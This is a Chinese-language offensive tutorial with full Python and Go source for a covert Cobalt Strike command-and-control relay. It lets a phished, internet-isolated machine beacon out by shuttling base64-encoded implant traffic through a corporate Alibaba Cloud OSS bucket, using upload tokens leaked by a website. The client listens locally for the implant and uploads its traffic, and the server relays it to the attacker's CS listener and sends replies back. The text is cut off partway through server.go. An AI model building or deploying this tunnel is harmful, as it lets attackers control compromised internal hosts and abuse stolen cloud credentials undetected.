本地实现阿里云oss转发上线,全部代码在文末,代码存在冗余
实战环境
被钓鱼机器不出网只可访问内部网络包含集团oss
实战思路
若将我们的shellcode文件上传到集团oss上仍无法上线,那么就利用oss做中转使用本地转发进行上线,先发送一个本地监听木马到钓鱼机器,再发送一个client,也就是agent到钓鱼机器,当然可以将两个写成一块发送给钓鱼受害者,server端从oss读取到数据转发至cs监听端口
具体逻辑
1.根据网站oss的上传接口,获得上传成功的返回包(通常包含泄露的oss的token,上传成功的路径及其文件名)
2.我们将返回包的json全部复制到本地为新的json文件,命名为server.json和client.json
3.server端实现上传该json文件到目标oss存储桶
4.client端下载该json文件到钓鱼机器
5.client端通过读取下载的json文件获得相应上传路径,token,进行组合实现上传本地木马127.0.0.1:17777监听的请求数据到oss文件
6.server端下载读取oss文件的数据转发到cs木马x.x.x.x:17777监听端口
7.server端上传cs返回的数据到oss文件
8.client端下载读取oss文件内容到本地木马监听端口实现木马闭环
server和client都是持续开着的并且循环进行上传下载读取功能
本地为方便演示我们使用服务器下载json文件,提取json文件中的关键信息,进行上传
首先准备好阿里云oss的SDK
https://help.aliyun.com/zh/oss/developer-reference/go-installation?spm=
那么通过实际情况,一般上传接口是有oss的token
生成policy和signature
import os
from hashlib import sha1 as sha
import json
import base64
import hmac
import datetime
import time
# 配置环境变量OSS_ACCESS_KEY_ID。
access_key_id = 'xxxxxxx'
# 配置环境变量OSS_ACCESS_KEY_SECRET。
access_key_secret = 'xxxxxxxxxxxx'
# 将<YOUR_BUCKET>替换为Bucket名称。
bucket = 'xxxx'
# host的格式为bucketname.endpoint。将<YOUR_BUCKET>替换为Bucket名称。将<YOUR_ENDPOINT>替换为OSS Endpoint,例如oss-cn-hangzhou.aliyuncs.com。
host = 'https://xxxx.oss-cn-shanghai.aliyuncs.com'
# 指定上传到OSS的文件前缀。
upload_dir = '1029/ff.txt'
# 指定过期时间,单位为秒。
expire_time = 14400
def generate_expiration(seconds):
"""
通过指定有效的时长(秒)生成过期时间。
:param seconds: 有效时长(秒)。
:return: ISO8601 时间字符串,如:"2014-12-01T12:00:00.000Z"。
"""
now = int(time.time())
expiration_time = now + seconds
gmt = datetime.datetime.utcfromtimestamp(expiration_time).isoformat()
gmt += 'Z'
return gmt
def generate_signature(access_key_secret, expiration, conditions, policy_extra_props=None):
"""
生成签名字符串Signature。
:param access_key_secret: 有权限访问目标Bucket的AccessKeySecret。
:param expiration: 签名过期时间,按照ISO8601标准表示,并需要使用UTC时间,格式为yyyy-MM-ddTHH:mm:ssZ。示例值:"2014-12-01T12:00:00.000Z"。
:param conditions: 策略条件,用于限制上传表单时允许设置的值。
:param policy_extra_props: 额外的policy参数,后续如果policy新增参数支持,可以在通过dict传入额外的参数。
:return: signature,签名字符串。
"""
policy_dict = {
'expiration': expiration,
'conditions': conditions
}
if policy_extra_props is not None:
policy_dict.update(policy_extra_props)
policy = json.dumps(policy_dict).strip()
policy_encode = base64.b64encode(policy.encode())
h = hmac.new(access_key_secret.encode(), policy_encode, sha)
sign_result = base64.b64encode(h.digest()).strip()
return sign_result.decode()
def generate_upload_params():
policy = {
# 有效期。
"expiration": generate_expiration(expire_time),
# 约束条件。
"conditions": [
# 未指定success_action_redirect时,上传成功后的返回状态码,默认为 204。
["eq", "$success_action_status", "200"],
# 表单域的值必须以指定前缀开始。例如指定key的值以user/user1开始,则可以写为["starts-with", "$key", "user/user1"]。
["starts-with", "$key", upload_dir],
# 限制上传Object的最小和最大允许大小,单位为字节。
["content-length-range", 1, 1000000],
# 限制上传的文件为指定的图片类型
["in", "$content-type", ["image/jpg", "image/png","text/plain","application/octet-stream"]]
]
}
signature = generate_signature(access_key_secret, policy.get('expiration'), policy.get('conditions'))
response = {
'policy': base64.b64encode(json.dumps(policy).encode('utf-8')).decode(),
'ossAccessKeyId': access_key_id,
'signature': signature,
'host': host,
'dir': upload_dir
# 可以在这里再自行追加其他参数
}
print(json.dumps(response))
return json.dumps(response)
if __name__ == '__main__':
generate_upload_params();
这样就可以使用policy和signature
这里key不能只写1029/这样的路径,后面要加文件名才能成功上传
1029/ff.txt这种,我们先手动上传试试
可以看到上传成功,然后使用go写的客户端试试上传
客户端成功上传文件到oss,并且我们的上传是循环的,
上传的内容为
从oss下载之后,可以看到文件名字是policy.txt,这是从阿里云oss下载的文件名字(也就是Content-Disposition),但存储桶上是ff.txt的名字(也就是key)
目前客户端上传功能成功,然后写客户端下载功能,服务端的代码和客户端一样除了客户端要监听127.0.0.1:17777,服务器要发送到cs的ip:17777,这样就可以了,
当完成客户端上传下载,服务端下载功能时候收到请求上线如下
可以看到请求转发过来了(此时只是先客户端上传监听到的数据到oss,然后服务端下载到本地转发到cs服务器),那么我们需要完成服务端上传的功能,以至于cs的返回包上传到oss上,供客户端读取
可以看到server端的上传包(也就是上传的cs返回的包)
此时的问题是client和server的上传文件有冲突问题,client上传太快了,server会oss检测当前文件的内容和之前的内容是否一致,client传的太快会让server认为和上一个内容一样,所以就不上传返回包请求了,
可以看到ipconfig也可以
但是这个有个bug,就是运行client运行中间卡住了
最终方案,client端上传之后等待60秒,server端上传之后等待30秒,
最终代码:
client.go
package main
import (
"bytes"
"fmt"
"log"
"os"
"path/filepath"
"net"
"net/http"
"io"
"io/ioutil"
"encoding/json"
"mime/multipart"
"strings"
"net/url"
"time"
"strconv"
"encoding/base64"
"sync"
"github.com/google/uuid"
)
var ClientUploadData *UploadData
var previousContent string
// 定义结构体:File 结构体
type UploadData struct {
Key string `json:"key"`
SuccessActionStatus string `json:"success_action_status"`
ContentDisposition string `json:"Content-Disposition"`
XOssMetaUUID string `json:"x-oss-meta-uuid"`
XOssMetaTag string `json:"x-oss-meta-tag"`
OSSAccessKeyID string `json:"OSSAccessKeyId"`
Policy string `json:"policy"`
Signature string `json:"Signature"`
ActionURL string `json:"action"`
FileName string `json:"file.filename"`
FileContentType string `json:"file.content_type"`
FileContent string `json:"file.content"`
}
type UploadTokenResponse struct {
Success interface{} `json:"success"`
UploadData UploadData `json:"uploadData"`
Error interface{} `json:"error"`
}
func startClient(bind_address string) {
log.Println("[+]", "客户端启动成功")
server, err := net.Listen("tcp", bind_address)
if err != nil {
log.Fatalln("[x]", "listen address ["+bind_address+"] failed.")
}
for {
conn, err := server.Accept()
if err != nil {
log.Println("Accept() failed, err: ", err)
continue
}
log.Println("[+]", "有客户进入:", conn.RemoteAddr())
go process(conn)
}
}
func Get(filename string) []byte {
programDir, err := getProgramDirectory()
if err != nil {
log.Println("获取程序目录失败:", err)
return nil
}
configFilePath := filepath.Join(programDir, filename)
log.Println("程序目录:", programDir)
log.Println("文件路径:", configFilePath)
jsondate, err := readUploadTokenFromFile(configFilePath)
if err != nil {
log.Println("读取或解析JSON文件失败:", err)
return nil
}
fileURL := jsondate.ActionURL + "/" + jsondate.Key
log.Println("Get.fileURL:", fileURL)
fmt.Println(fileURL)
resp, err := http.Get(fileURL)
if err != nil {
log.Println("读取文件内容失败:", err)
return nil
}
defer resp.Body.Close()
content, err := ioutil.ReadAll(resp.Body)
if err != nil {
log.Println("读取响应体失败:", err)
return nil
}
log.Println("客户端下载读到的内容:", content)
decodedContent, err := base64.StdEncoding.DecodeString(string(content))
if err != nil {
log.Println("Base64解码失败:", err)
return nil
}
// 输出字符串内容
log.Println("客户端下载读到的内容base64:", string(decodedContent))
return content
}
func renameFile(oldPath, newPath string) error {
err := os.Rename(oldPath, newPath)
if err != nil {
return fmt.Errorf("无法重命名文件 %s 为 %s: %v", oldPath, newPath, err)
}
log.Printf("[+] 文件 %s 重命名为 %s", oldPath, newPath)
return nil
}
func saveToFile(filename, content string) {
err := os.WriteFile(filename, []byte(content), 0644)
if err != nil {
log.Println("[x]", "保存文件失败:", err)
}
}
func getProgramDir() string {
dir, err := os.Getwd()
if err != nil {
log.Println("[x]", "获取程序运行目录失败:", err)
return "./"
}
return dir + "/"
}
func FileExists(filePath string) bool {
_, err := os.Stat(filePath)
return err == nil
}
func processContentAndSave(currentContent string) {
var fileName string
if strings.Contains(currentContent, "client") {
fileName = getProgramDir() + "Send-Client11.json"
log.Println("[+]", "判断是否存在 client 文件")
} else if strings.Contains(currentContent, "server") {
fileName = getProgramDir() + "Send-Server11.json"
log.Println("[+]", "判断是否存在 server 文件")
} else {
log.Println("[-]", "内容既不包含 client 也不包含 server,跳过处理")
return
}
log.Println("[+]", "文件名:", fileName)
if _, err := os.Stat(fileName); os.IsNotExist(err) {
saveToFile(fileName, string(currentContent))
log.Println("[+]", "文件不存在,已保存为:", fileName)
} else if err == nil {
log.Println("[+]", "文件已存在,跳过保存:", fileName)
} else {
log.Println("[-]", "检查文件时发生错误:", err)
}
}
func Getfile(filename string) (string, error) {
defer func() {
if r := recover(); r != nil {
log.Printf("捕获异常:%v", r)
}
}()
programDir, err := getProgramDirectory()
if err != nil {
return "", fmt.Errorf("failed to get program directory: %v", err)
}
configFilePath := filepath.Join(programDir, filename)
jsondate, err := readUploadTokenFromFile(configFilePath)
if err != nil {
log.Println("读取或解析JSON文件失败:", err)
return "", err
}
fileURL := jsondate.ActionURL + "/" + jsondate.Key
log.Println("Getfile.fileURL:",fileURL)
resp, err := http.Get(fileURL)
if err != nil {
log.Println("读取文件内容失败:", err)
return "", err
}
defer resp.Body.Close()
return fileURL, nil
}
func fetchFileContent(url string) (string, error) {
resp, err := http.Get(url)
if err != nil {
return "", err
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
return "", err
}
return string(body), nil
}
/*func uploadFile(UploadData UploadData, filename string, fileContent string) (string, error) {
body := &bytes.Buffer{}
writer := multipart.NewWriter(body)
for key, value := range UploadData.Data {
writer.WriteField(key, value)
}
fileReader := strings.NewReader(fileContent)
part, err := writer.CreateFormFile(UploadData.Name, filename)
if err != nil {
return "", err
}
_, err = io.Copy(part, fileReader)
if err != nil {
return "", err
}
writer.Close()
req, err := http.NewRequest("POST", UploadData.ActionURL, body)
if err != nil {
return "", err
}
req.Header.Set("Content-Type", writer.FormDataContentType())
client := &http.Client{}
resp, err := client.Do(req)
if err != nil {
return "", err
}
defer resp.Body.Close()
location := resp.Header.Get("Location")
if location == "" {
fmt.Println("No location URL found in response headers.")
}
return location, nil
}*/
func logRequest(req *http.Request) {
log.Println("Request Method:", req.Method)
log.Println("Request URL:", req.URL.String())
log.Println("Request Headers:")
for key, values := range req.Header {
for _, value := range values {
log.Printf(" %s: %s\n", key, value)
}
}
// 打印请求体内容
bodyBytes, err := io.ReadAll(req.Body)
if err != nil {
log.Println("Error reading request body:", err)
return
}
req.Body = io.NopCloser(bytes.NewBuffer(bodyBytes)) // 恢复请求体
log.Println("Request Body:", string(bodyBytes))
}
func uploadFile(data UploadData, filename string, fileContent string) (string, error) {
body := &bytes.Buffer{}
writer := multipart.NewWriter(body)
// Write fields directly from UploadData struct
writer.WriteField("key", data.Key)
writer.WriteField("success_action_status", data.SuccessActionStatus)
writer.WriteField("Content-Disposition", data.ContentDisposition)
writer.WriteField("x-oss-meta-uuid", data.XOssMetaUUID)
writer.WriteField("x-oss-meta-tag", data.XOssMetaTag)
writer.WriteField("OSSAccessKeyId", data.OSSAccessKeyID)
writer.WriteField("policy", data.Policy)
writer.WriteField("Signature", data.Signature)
// Create form file part for file content
fileReader := strings.NewReader(fileContent)
part, err := writer.CreateFormFile("file", filename)
if err != nil {
return "", err
}
_, err = io.Copy(part, fileReader)
if err != nil {
return "", err
}
writer.Close()
// Create and send request
req, err := http.NewRequest("POST", data.ActionURL, body)
//req, err := http.NewRequest("POST", "https://xxxx.oss-cn-shanghai.aliyuncs.com", body)
if err != nil {
return "", err
}
req.Header.Set("Content-Type", writer.FormDataContentType())
logRequest(req)
//client := &http.Client{}
proxyURL, _ := url.Parse("http://127.0.0.1:8083")
if err != nil {
return "", fmt.Errorf("invalid proxy URL: %v", err)
}
client := &http.Client{
Transport: &http.Transport{
Proxy: http.ProxyURL(proxyURL),
},
}
resp, err := client.Do(req)
if err != nil {
return "", err
}
defer resp.Body.Close()
location := resp.Header.Get("Location")
if location == "" {
fmt.Println("No location URL found in response headers.")
}
return location, nil
}
func findErrorLine(data []byte, offset int64) (line int, col int) {
line = 1
col = 1
for i := int64(0); i < offset; i++ {
if data[i] == '\n' {
line++
col = 1
} else {
col++
}
}
return
}
/*func parseUploadToken(jsonData []byte) (UploadData, error) {
var tokenResponse UploadTokenResponse
err := json.Unmarshal(jsonData, &tokenResponse)
if err != nil {
return UploadData{}, fmt.Errorf("Error unmarshaling JSON: %v", err)
}
// 如果 tokenResponse.Result.UploadData.Data 本身已经是 map[string]string,直接返回
return tokenResponse.UploadData, nil
}*/
func parseUploadToken(jsonData []byte) (UploadData, error) {
// var tokenResponse UploadTokenResponse
var uploadData UploadData
err := json.Unmarshal(jsonData, &uploadData)
if err != nil {
return UploadData{}, fmt.Errorf("Error unmarshaling JSON: %v", err)
}
// 如果 tokenResponse.Result.UploadData.Data 本身已经是 map[string]string,直接返回
log.Println("parseUploadToken.UploadData",uploadData)
return uploadData, nil
}
func getProgramDirectory() (string, error) {
execPath, err := os.Executable()
if err != nil {
return "", err
}
return filepath.Dir(execPath), nil
}
func readUploadTokenFromFile(filename string) (UploadData, error) {
programDir, err := getProgramDirectory()
if err != nil {
return UploadData{}, fmt.Errorf("failed to get program directory: %v", err)
}
filename = filepath.Base(filename)
configFilePath := filepath.Join(programDir, filename)
data, err := ioutil.ReadFile(configFilePath)
if err != nil {
return UploadData{}, fmt.Errorf("failed to read file %s: %v", configFilePath, err)
}
uploadData, err := parseUploadToken(data)
if err != nil {
return UploadData{}, fmt.Errorf("failed to parse JSON from file %s: %v", configFilePath, err)
}
return uploadData, nil
}
func Send(name string, filename string, content string) {
UploadData, err := readUploadTokenFromFile(name)
if err != nil {
fmt.Println("Error reading or parsing JSON from file:", err)
return
}
_, err = uploadFile(UploadData, filename, content)
if err != nil {
log.Println("文件上传失败:", err)
return
}
}
var fileLock sync.Mutex // 定义一个文件锁
func process(conn net.Conn) {
defer func() {
if r := recover(); r != nil {
log.Printf("捕获异常:%v", r)
}
}()
uuid := uuid.New()
key := uuid.String()
defer conn.Close()
var buffer bytes.Buffer
_ = conn.SetReadDeadline(time.Now().Add(10 * time.Second))
for {
var buf [1]byte
n, err := conn.Read(buf[:])
if err != nil {
log.Println("[-]", uuid, "read from connect failed, err:", err)
break
}
buffer.Write(buf[:n])
if strings.Contains(buffer.String(), "\r\n\r\n") {
if strings.Contains(buffer.String(), "Content-Length") {
ContentLength := buffer.String()[strings.Index(buffer.String(), "Content-Length: ")+len("Content-Length: ") : strings.Index(buffer.String(), "Content-Length: ")+strings.Index(buffer.String()[strings.Index(buffer.String(), "Content-Length: "):], "\n")]
log.Println("[+]", uuid, "数据包长度为:", strings.TrimSpace(ContentLength))
if strings.TrimSpace(ContentLength) != "0" {
intContentLength, err := strconv.Atoi(strings.TrimSpace(ContentLength))
if err != nil {
log.Println("[-]", uuid, "Content-Length转换失败")
}
for i := 1; i <= intContentLength; i++ {
var b [1]byte
n, err = conn.Read(b[:])
if err != nil {
log.Println("[-]", uuid, "read from connect failed, err", err)
break
}
buffer.Write(b[:n])
}
}
}
if strings.Contains(buffer.String(), "Transfer-Encoding: chunked") {
for {
var b [1]byte
n, err = conn.Read(b[:])
if err != nil {
log.Println("[-]", uuid, "read from connect failed, err", err)
break
}
buffer.Write(b[:n])
if strings.Contains(buffer.String(), "0\r\n\r\n") {
break
}
}
}
log.Println("[+]", uuid, "从客户端接受HTTP头完毕")
break
}
}
b64 := base64.StdEncoding.EncodeToString(buffer.Bytes())
Send("Send-Client.json", key+"client.zip", b64)
log.Println("[+]发送成功")
log.Println("文件上传完成,暂停60秒...")
time.Sleep(60 * time.Second) // Pause for 60 seconds
i := 1
for {
i++
time.Sleep(1 * time.Second)
if i >= 10 {
log.Println("[x]", "超时,断开")
return
}
clientURL, err := Getfile("Send-Server.json")
if err != nil {
log.Println("[-]", "获取服务器文件失败:", err)
return
}
log.Println("[-]", "process.clientURL:", clientURL)
currentContent, err := fetchFileContent(clientURL)
if err != nil {
log.Println("[-]", "获取客户端文件失败:", err)
return
}
if strings.TrimSpace(currentContent) != strings.TrimSpace(previousContent) {
/*if strings.HasPrefix(currentContent, `{"success`) {
processContentAndSave(currentContent)
if FileExists(getProgramDir()+"Send-Server11.json") && FileExists(getProgramDir()+"Send-Client11.json") {
clientNewPath := getProgramDir() + "Send-Client.json"
os.Remove(clientNewPath)
err = renameFile(getProgramDir()+"Send-Client11.json", clientNewPath)
if err != nil {
log.Fatalf("重命名 server 文件时发生错误: %v", err)
}
os.Remove(getProgramDir() + "Send-Client11.json")
time.Sleep(5 * time.Second)
serverNewPath := getProgramDir() + "Send-Server.json"
os.Remove(serverNewPath)
err = renameFile(getProgramDir()+"Send-Server11.json", serverNewPath)
if err != nil {
log.Fatalf("重命名 server 文件时发生错误: %v", err)
}
os.Remove(getProgramDir() + "Send-Server11.json")
}
}*/
log.Println("[+]", "文件内容不一致,开始处理")
previousContent = currentContent
buff := Get("Send-Server.json")
if buff != nil {
log.Println("[x]", uuid, "收到服务器消息")
time.Sleep(1 * time.Second)
sDec, err := base64.StdEncoding.DecodeString(string(buff))
if err != nil {
log.Println("[x]", uuid, "Base64解码错误")
return
}
conn.Write(sDec)
break
}
} else {
log.Println("[+]", "文件内容一致,无需处理")
previousContent = currentContent
buff := Get("Send-Server.json")
if buff != nil {
log.Println("[x]", uuid, "收到服务器消息")
time.Sleep(1 * time.Second)
sDec, err := base64.StdEncoding.DecodeString(string(buff))
if err != nil {
log.Println("[x]", uuid, "Base64解码错误")
return
}
conn.Write(sDec)
break
return
}
}
}
log.Println("[+]", "发送完成")
}
func checkURLStatus(url string) bool {
resp, err := http.Head(url)
if err != nil {
fmt.Printf("检查 URL 失败: %v\n", err)
return false
}
defer resp.Body.Close()
if resp.StatusCode == http.StatusOK {
return true
}
fmt.Printf("URL %s 返回状态码: %d\n", url, resp.StatusCode)
return false
}
func waitForNextHalfHour() {
now := time.Now()
next := now.Truncate(30 * time.Minute).Add(30 * time.Minute)
duration := next.Sub(now)
fmt.Printf("等待 %v 到下一个下载时间...\n", duration)
time.Sleep(duration)
}
func downloadFile(filepath string, url string) error {
resp, err := http.Get(url)
if err != nil {
return err
}
defer resp.Body.Close()
out, err := os.Create(filepath)
if err != nil {
return err
}
defer out.Close()
_, err = io.Copy(out, resp.Body)
return err
}
func safeDownloadFile(filepath string, url string) error {
tempFilepath := filepath + ".tmp"
err := downloadFile(tempFilepath, url)
if err != nil {
return fmt.Errorf("下载失败: %w", err)
}
err = os.Rename(tempFilepath, filepath)
if err != nil {
return fmt.Errorf("替换文件失败: %w", err)
}
return nil
}
func timedownload() {
execPath, err := os.Executable()
if err != nil {
fmt.Printf("获取程序路径失败: %v\n", err)
return
}
execDir := filepath.Dir(execPath)
filepath1 := filepath.Join(execDir, "Send-Client.json")
filepath2 := filepath.Join(execDir, "Send-Server.json")
url1 := "http://xxxxx:xx/Send-Client.json"
url2 := "http://xxxxx:xx/Send-Server.json"
fmt.Printf("检查文件1:%s\n", url1)
if checkURLStatus(url1) {
err = safeDownloadFile(filepath1, url1)
if err != nil {
fmt.Printf("下载失败: %v\n", err)
} else {
fmt.Println("下载成功")
}
} else {
fmt.Println("URL不可用,跳过下载:", url1)
}
fmt.Printf("检查文件2:%s\n", url2)
if checkURLStatus(url2) {
err = safeDownloadFile(filepath2, url2)
if err != nil {
fmt.Printf("下载失败: %v\n", err)
} else {
fmt.Println("下载成功")
}
} else {
fmt.Println("URL不可用,跳过下载:", url2)
}
for {
waitForNextHalfHour()
fmt.Printf("检查文件1:%s\n", url1)
if checkURLStatus(url1) {
err = safeDownloadFile(filepath1, url1)
if err != nil {
fmt.Printf("下载失败: %v\n", err)
} else {
fmt.Println("下载成功")
}
} else {
fmt.Println("URL不可用,跳过下载:", url1)
}
fmt.Printf("检查文件2:%s\n", url2)
if checkURLStatus(url2) {
err = safeDownloadFile(filepath2, url2)
if err != nil {
fmt.Printf("下载失败: %v\n", err)
} else {
fmt.Println("下载成功")
}
} else {
fmt.Println("URL不可用,跳过下载:", url2)
}
}
}
func main() {
go timedownload()
bind_address := "127.0.0.1:17777"
startClient(bind_address)
}
server.go
package main
import (
"bytes"
"fmt"
"log"
"os"
"path/filepath"
"net"
"net/http"
"io"
"io/ioutil"
"encoding/json"
"mime/multipart"
"strings"
"net/url"
"time"
"strconv"
"encoding/base64"
"sync"
)
var ClientUploadData *UploadData
var previousContent string // 存储上一次文件内容
// 定义结构体:File 结构体
type UploadData struct {
Key string `json:"key"`
SuccessActionStatus string `json:"success_action_status"`
ContentDisposition string `json:"Content-Disposition"`
XOssMetaUUID string `json:"x-oss-meta-uuid"`
XOssMetaTag string `json:"x-oss-meta-tag"`
OSSAccessKeyID string `json:"OSSAccessKeyId"`
Policy string `json:"policy"`
Signature string `json:"Signature"`
ActionURL string `json:"action"`
FileName string `json:"file.filename"`
FileContentType string `json:"file.content_type"`
FileContent string `json:"file.content"`
}
type UploadTokenResponse struct {
Success interface{} `json:"success"`
UploadData UploadData `json:"uploadData"`
Error interface{} `json:"error"`
}
func Get(filename string) []byte {
programDir, err := getProgramDirectory()
if err != nil {
log.Println("获取程序目录失败:", err)
return nil
}
configFilePath := filepath.Join(programDir, filename)
log.Println("程序目录:", programDir)
log.Println("文件路径:", configFilePath)
jsondate, err := readUploadTokenFromFile(configFilePath)
log.Println("jsondate:",jsondate)
if err != nil {
log.Println("读取或解析JSON文件失败:", err)
return nil
}
fileURL := jsondate.ActionURL + "/" + jsondate.Key
fmt.Println(fileURL)
resp, err := http.Get(fileURL)
if err != nil {
log.Println("读取文件内容失败:", err)
return nil
}
defer resp.Body.Close()
content, err := ioutil.ReadAll(resp.Body)
if err != nil {
log.Println("读取响应体失败:", err)
return nil
}
log.Println("内容:", content)
return content
}
func renameFile(oldPath, newPath string) error {
err := os.Rename(oldPath, newPath)
if err != nil {
return fmt.Errorf("无法重命名文件 %s 为 %s: %v", oldPath, newPath, err)
}
log.Printf("[+] 文件 %s 重命名为 %s", oldPath, newPath)
return nil
}
func saveToFile(filename, content string) {
err := os.WriteFile(filename, []byte(content), 0644)
if err != nil {
log.Println("[x]", "保存文件失败:", err)
}
}
func getProgramDir() string {
dir, err := os.Getwd()
if err != nil {
log.Println("[x]", "获取程序运行目录失败:", err)
return "./"
}
return dir + "/"
}
func FileExists(filePath string) bool {
_, err := os.Stat(filePath)
return err == nil
}
func processContentAndSave(currentContent string) {
var fileName string
if strings.Contains(currentContent, "client") {
fileName = getProgramDir() + "Send-Client11.json"
log.Println("[+]", "判断是否存在 client 文件")
} else if strings.Contains(currentContent, "server") {
fileName = getProgramDir() + "Send-Server11.json"
log.Println("[+]", "判断是否存在 server 文件")
} else {
log.Println("[-]", "内容既不包含 client 也不包含 server,跳过处理")
return
}
log.Println("[+]", "文件名:", fileName)
if _, err := os.Stat(fileName); os.IsNotExist(err) {
saveToFile(fileName, string(currentContent))
log.Println("[+]", "文件不存在,已保存为:", fileName)
} else if err == nil {
log.Println("[+]", "文件已存在,跳过保存:", fileName)
} else {
log.Println("[-]", "检查文件时发生错误:", err)
}
}
func Getfile(filename string) (string, error) {
defer func() {
if r := recover(); r != nil {
log.Printf("捕获异常:%v", r)
}
}()
programDir, err := getProgramDirectory()
log.Println("programDir:", programDir)
if err != nil {
return "", fmt.Errorf("failed to get program directory: %v", err)
}
configFilePath := filepath.Join(programDir, filename)
log.Println("configFilePath:", configFilePath)
jsondate, err := readUploadTokenFromFile(configFilePath)
if err != nil {
log.Println("读取或解析JSON文件失败:", err)
return "", err
}
fileURL := jsondate.ActionURL + "/" + jsondate.Key
log.Println("fileURL:", fileURL)
resp, err := http.Get(fileURL)
if err != nil {
log.Println("读取文件内容失败:", err)
return "", err
}
defer resp.Body.Close()
return fileURL, nil
}
func fetchFileContent(url string) (string, error) {
resp, err := http.Get(url)
if err != nil {
return "", err
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
return "", err
}
log.Println(string(body))
return string(body), nil
}
/*func uploadFile(UploadData UploadData, filename string, fileContent string) (string, error) {
body := &bytes.Buffer{}
writer := multipart.NewWriter(body)
for key, value := range UploadData.Data {
writer.WriteField(key, value)
}
fileReader := strings.NewReader(fileContent)
part, err := writer.CreateFormFile(UploadData.Name, filename)
if err != nil {
return "", err
}
_, err = io.Copy(part, fileReader)
if err != nil {
return "", err
}
writer.Close()
req, err := http.NewRequest("POST", UploadData.ActionURL, body)
if err != nil {
return "", err
}
req.Header.Set("Content-Type", writer.FormDataContentType())
client := &http.Client{}
resp, err := client.Do(req)
if err != nil {
return "", err
}
defer resp.Body.Close()
location := resp.Header.Get("Location")
if location == "" {
fmt.Println("No location URL found in response headers.")
}
return location, nil
}*/
func logRequest(req *http.Request) {
log.Println("Request Method:", req.Method)
log.Println("Request URL:", req.URL.String())
log.Println("Request Headers:")
for key, values := range req.Header {
for _, value := range values {
log.Printf(" %s: %s\n", key, value)
}
}
// 打印请求体内容
bodyBytes, err := io.ReadAll(req.Body)
if err != nil {
log.Println("Error reading request body:", err)
return
}
req.Body = io.NopCloser(bytes.NewBuffer(bodyBytes)) // 恢复请求体
log.Println("Request Body:", string(bodyBytes))
}
func uploadFile(data UploadData, filename string, fileContent string) (string, error) {
body := &bytes.Buffer{}
writer := multipart.NewWriter(body)
// Write fields directly from UploadData struct
writer.WriteField("key", data.Key)
writer.WriteField("success_action_status", data.SuccessActionStatus)
writer.WriteField("Content-Disposition", data.ContentDisposition)
writer.WriteField("x-oss-meta-uuid", data.XOssMetaUUID)
writer.WriteField("x-oss-meta-tag", data.XOssMetaTag)
writer.WriteField("OSSAccessKeyId", data.OSSAccessKeyID)
writer.WriteField("policy", data.Policy)
writer.WriteField("Signature", data.Signature)
// Create form file part for file content
fileReader := strings.NewReader(fileContent)
part, err := writer.CreateFormFile("file", filename)
if err != nil {
return "", err
}
_, err = io.Copy(part, fileReader)
if err != nil {
return "", err
}
writer.Close()
// Create and send request
req, err := http.NewRequest("POST", data.ActionURL, body)
//req, err := http.NewRequest("POST", "https://xxx.oss-cn-shanghai.aliyuncs.com", body)
if err != nil {
return "", err
}
req.Header.Set("Content-Type", writer.FormDataContentType())
logRequest(req)
//client := &http.Client{}
proxyURL, _ := url.Parse("http://127.0.0.1:8083")
if err != nil {
return "", fmt.Errorf("invalid proxy URL: %v", err)
}
client := &http.Client{
Transport: &http.Transport{
Proxy: http.ProxyURL(proxyURL),
},
}
resp, err := client.Do(req)
if err != nil {
return "", err
}
defer resp.Body.Close()
location := resp.Header.Get("Location")
if location == "" {
fmt.Println("No location URL found in response headers.")
}
return location, nil
}
func findErrorLine(data []byte, offset int64) (line int, col int) {
line = 1
col = 1
for i := int64(0); i < offset; i++ {
if data[i] == '\n' {
line++
col = 1
} else {
col++
}
}
return
}
func parseUploadToken(jsonData []byte) (UploadData, error) {
// var tokenResponse UploadTokenResponse
var uploadData UploadData
err := json.Unmarshal(jsonData, &uploadData)
if err != nil {
return UploadData{}, fmt.Errorf("Error unmarshaling JSON: %v", err)
}
// 如果 tokenResponse.Result.UploadData.Data 本身已经是 map[string]string,直接返回
log.Println("parseUploadToken.UploadData",uploadData)
return uploadData, nil
}
func getProgramDirectory() (string, error) {
execPath, err := os.Executable()
if err != nil {
return "", err
}
return filepath.Dir(execPath), nil
}
func readUploadTokenFromFile(filename string) (UploadData, error) {
programDir, err := getProgramDirectory()
if err != nil {
return UploadData{}, fmt.Errorf("failed to get program directory: %v", err)
}
filename = filepath.Base(filename)
log.Println("filename=>",filename)
configFilePath := filepath.Join(programDir, filename)
log.Println("readUploadTokenFromFile,configFilePath=>",configFilePath)
data, err := ioutil.ReadFile(configFilePath)
if err != nil {
return UploadData{}, fmt.Errorf("failed to read file %s: %v", configFilePath, err)
}
uploadData, err := parseUploadToken(data)
if err != nil {
return UploadData{}, fmt.Errorf("failed to parse JSON from file %s: %v", configFilePath, err)
}
return uploadData, nil
}
func Send(name string, filename string, content string) {
UploadData, err := readUploadTokenFromFile(name)
if err != nil {
fmt.Println("Error reading or parsing JSON from file:", err)
return
}
_, err = uploadFile(UploadData, filename, content)
if err != nil {
log.Println("文件上传失败:", err)
return
}
}
func checkURLStatus(url string) bool {
resp, err := http.Head(url)
if err != nil {
fmt.Printf("检查 URL 失败: %v\n", err)
return false
}
defer resp.Body.Close()
if resp.StatusCode == http.StatusOK {
return true
}
fmt.Printf("URL %s 返回状态码: %d\n", url, resp.StatusCode)
return false
}
func waitForNextHalfHour() {
now := time.Now()
next := now.Truncate(30 * time.Minute).Add(30 * time.Minute)
duration := next.Sub(now)
fmt.Printf("等待 %v 到下一个下载时间...\n", duration)
time.Sleep(duration)
}
func downloadFile(filepath string, url string) error {
resp, err := http.Get(url)
if err != nil {
return err
}
defer resp.Body.Close()
out, err := os.Create(filepath)
if err != nil {
return err
}
defer out.Close()
_, err = io.Copy(out, resp.Body)
return err
}
func safeDownloadFile(filepath string, url string) error {
tempFilepath := filepath + ".tmp"
err := downloadFile(tempFilepath, url)
if err != nil {
return fmt.Errorf("下载失败: %w", err)
}
err = os.Rename(tempFilepath, filepath)
if err != nil {
return fmt.Errorf("替换文件失败: %w", err)
}
return nil
}
func timedownload() {
execPath, err := os.Executable()
if err != nil {
fmt.Printf("获取程序路径失败: %v\n", err)
return
}
execDir := filepath.Dir(execPath)
filepath1 := filepath.Join(execDir, "Send-Client.json")
filepath2 := filepath.Join(execDir, "Send-Server.json")
url1 := "http://x.x.x.x:x/Send-Client.json"
url2 := "http://x.x.x.x:x/Send-Server.json"
fmt.Printf("检查文件1:%s\n", url1)
if checkURLStatus(url1) {
err = safeDownloadFile(filepath1, url1)
